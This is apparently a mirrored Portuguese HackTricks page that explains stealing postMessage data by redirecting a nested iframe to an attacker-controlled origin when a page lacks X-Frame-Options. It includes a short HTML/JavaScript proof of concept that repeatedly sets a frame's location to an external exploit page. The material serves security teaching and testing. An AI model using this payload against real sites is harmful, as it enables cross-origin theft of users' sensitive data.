mirror of
https://github.com/HackTricks-wiki/hacktricks.git
synced 2025-10-10 18:36:50 +00:00
32 lines
1.3 KiB
Markdown
32 lines
1.3 KiB
Markdown
# Roubar postmessage modificando a localização do iframe
|
|
|
|
{{#include ../../banners/hacktricks-training.md}}
|
|
|
|
## Mudando as localizações de iframes filhos
|
|
|
|
De acordo com [**este artigo**](https://blog.geekycat.in/google-vrp-hijacking-your-screenshots/), se você puder iframe uma página da web sem o X-Frame-Header que contém outro iframe, você pode **mudar a localização desse iframe filho**.
|
|
|
|
Por exemplo, se abc.com tiver efg.com como iframe e abc.com não tiver o cabeçalho X-Frame, eu poderia mudar o efg.com para evil.com de origem cruzada usando **`frames.location`**.
|
|
|
|
Isso é especialmente útil em **postMessages** porque se uma página estiver enviando dados sensíveis usando um **wildcard** como `windowRef.postmessage("","*")`, é possível **mudar a localização do iframe relacionado (filho ou pai) para um local controlado por atacantes** e roubar esses dados.
|
|
```html
|
|
<html>
|
|
<iframe src="https://docs.google.com/document/ID" />
|
|
<script>
|
|
//pseudo code
|
|
setTimeout(function () {
|
|
exp()
|
|
}, 6000)
|
|
|
|
function exp() {
|
|
//needs to modify this every 0.1s as it's not clear when the iframe of the iframe affected is created
|
|
setInterval(function () {
|
|
window.frames[0].frame[0][2].location =
|
|
"https://geekycat.in/exploit.html"
|
|
}, 100)
|
|
}
|
|
</script>
|
|
</html>
|
|
```
|
|
{{#include ../../banners/hacktricks-training.md}}
|